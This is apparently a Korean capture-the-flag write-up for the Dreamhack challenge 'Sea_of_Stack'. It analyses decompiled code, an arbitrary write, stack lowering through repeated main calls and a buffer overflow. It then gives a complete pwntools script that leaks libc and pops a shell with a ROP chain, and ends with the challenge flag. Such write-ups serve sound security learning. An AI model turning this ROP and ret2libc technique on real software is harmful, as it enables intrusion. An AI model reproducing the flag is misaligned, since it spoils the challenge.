Description
플래그는 바다에 버려요. 깊은 데 빠뜨려서, 아무도 못 찾게 해요.
checksec
seo@seo:~/Documents/dreamhack/Sea_of_Stack/deploy$ checksec ./prob [*] '/home/seo/Documents/dreamhack/Sea_of_Stack/deploy/prob' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
Decompiled-src
main
int __cdecl main(int argc, const char **argv, const char **envp) { __int64 v4; // [rsp+0h] [rbp-30h] BYREF _QWORD *v5; // [rsp+8h] [rbp-28h] BYREF char s1[28]; // [rsp+10h] [rbp-20h] BYREF int number; // [rsp+2Ch] [rbp-4h] proc_init(argc, argv, envp); printf("If you really want to give me a present, bring me that kind detective's heart.\n> "); read_input(s1, 16LL); if ( !strcmp(s1, "Decision2Solve") && !gotPresent ) { read_input(&v5, 8LL); read_input(&v4, 6LL); *v5 = v4; gotPresent = 1LL; } print_menu(); number = read_number(); if ( number == 1 ) { safe(); } else if ( number == 2 ) { unsafe(); } return 0; }

처음에 read_input 함수를 통해 16바이트만큼 받는데,
Decision2Solve 키워드를 입력했을 경우, 원하는 주소에 값을 6바이트쓸 수 있다.
FULL RELRO 보호기법이 걸려있기 때문에 got 주소를 덮어쓸 수는 없고 data나 ibss 세그먼트에 있는 주소만 쓰기가 가능하다.
다음으로, read_number 함수를 통해 번호를 입력받는데,
number가 1일 경우 safe() 함수 호출,
number가 2일 경우 unsafe() 함수를 호출한다.
이러한 함수 호출은 .data 세그먼트에 있는 주소를 참조하여 호출한다.
safe -> safe_func
unsafe -> unsafe_func
safe_func
void *safe_func() { char s[48]; // [rsp+0h] [rbp-30h] BYREF read_input(s, 41LL); return memset(s, 0, 0x28uLL); }
할당된 48바이트 크기인 s 지역변수에 41바이트만큼 입력받을 수 있고,
memset에 의해 0x28만큼 0으로 값을 초기화시킨다.
딱히 취약점이 발생하진 않는 함수이다.
unsafe_func
__int64 unsafe_func() { char v1[32]; // [rsp+0h] [rbp-20h] BYREF return read_input(v1, 0x10000LL); }
할당된 32바이트 크기인 v1 지역변수에 0x10000바이트만큼 입력받을 수 있다.
할당된 크기보다 훨씬 더 많이 입력받을 수 있으므로 여기서 버퍼오버플로우가 발생한다.
Solution

unsafe_func 함수를 통해 read_input(v1, 0x10000LL)으로 버퍼오버플로우를 발생시키려는데
쓰려는 주소는 0x7ffe4171d0d0이다.
따라서 0x10000 크기만큼 쓰게 된다면, 0x7ffe4172d0cf 주소까지는 쓸 수 있어야 한다.

하지만, 쓸 수 있는 [stack] 최대 범위는 0x7ffe4171f000이다.
read_input(v1, 0x10000LL)에서 v1을 더 낮은 주소로, 최소 기존 v1에서 -0xe0cf만큼 이동시켜주어야 한다.


실제로 확인해보면,
hex(0x10000 – 0xe0cf) = 0x1f31
딱 v1[0x1f30]까지만 메모리를 쓸 수 있고, 스택의 범위를 벗어나자 크래시가 발생하는 것을 알 수 있다.
방법은,
초기에 Decision2Solve 를 입력하고, safe_func가 적혀있는 safe 주소(0x404010)에 main 함수를 덮어써서
main을 여러번 호출시키면 더 낮은 주소로 스택을 가리키게 할 수 있다.
main을 한번 더 호출시켜보면,

hex(0x7ffc17f8b000 – (0x7ffc17f88eb0 + 0x10000 – 1)) = -0xdeaf
이전에 -0xe0cf만큼 이동시켜주어야 되었던게 -0xdeaf로 줄었다.
즉 스택이 main을 한번 호출시킬때마다 더 낮은 주소를 가리키게 만들 수 있다는 것.
대략 main 함수를 1100번 이상 호출시켜야 0x10000만큼 값을 쓸 수 있었다.
그렇게 스택에 버퍼오버플로우를 stack 범위에 문제없이 쓸 수 있게 되면,
rop을 통해 libc_base를 노출시키고, 쉘을 획득하면 된다.
solve.py
from pwn import * #context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') #p = process("./prob") p = remote("host3.dreamhack.games", 17258) e = ELF('./prob', checksec=False) libc = ELF('./libc.so.6', checksec=False) #server #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) #local payload = b"Decision2Solve\x00\x00" p.sendafter("> ", payload) p.send(p64(e.symbols['safe'])) #where p.send(p64(0x401446)[:6]) #what p.sendlineafter("> ", "1") for i in range(1100): payload = b"A"*16 p.sendafter("> ", payload) p.sendlineafter("> ", "1") print(i, end=', ') payload = b"A"*16 p.sendafter("> ", payload) p.sendlineafter("> ", "2") pop_rdi_nop_pop_rbp_ret = 0x40129b payload = b"A"*0x20 payload += b"B"*8 payload += p64(pop_rdi_nop_pop_rbp_ret) payload += p64(e.got['puts']) #set rdi payload += p64(0) #set rbp payload += p64(e.symbols['puts']) #call puts payload += p64(e.symbols['unsafe_func']) payload += b"C" * int((0x10000-len(payload))) p.sendline(payload) puts = u64(p.recv(6).ljust(8, b"\x00")) print(f"puts: {hex(puts)}") libc_base = puts - libc.symbols['puts'] print(f"libc_base: {hex(libc_base)}") payload = b"A"*0x20 payload += b"B"*7 payload += p64(pop_rdi_nop_pop_rbp_ret) #payload += p64(libc_base + 0x1D8678) #set rdi, /bin/sh local payload += p64(libc_base + 0x1D8698) #set rdi, /bin/sh server payload += p64(0) #set rbp #payload += p64(libc_base + 0x50D8B) #call system (internal), local payload += p64(libc_base + 0x50D7B) #call system (internal), server payload += b"C" * int((0x10000-len(payload))) p.sendline(payload) p.interactive()
Result
로컬에서는 빠르게 쉘을 딸 수 있지만,
서버 상에 main을 여러번 호출시키기 위 16바이트만큼 계속 데이터를 보내야하는데, 속도가 느리다.
쉘 따기까지 약 2-3분 정도 걸린다.

$ cat /flag DH{3a6305f3c1bfc54e84087fd74013dbd95eb71dbfeabf65086024455d05372736}
FLAG
DH{3a6305f3c1bfc54e84087fd74013dbd95eb71dbfeabf65086024455d05372736}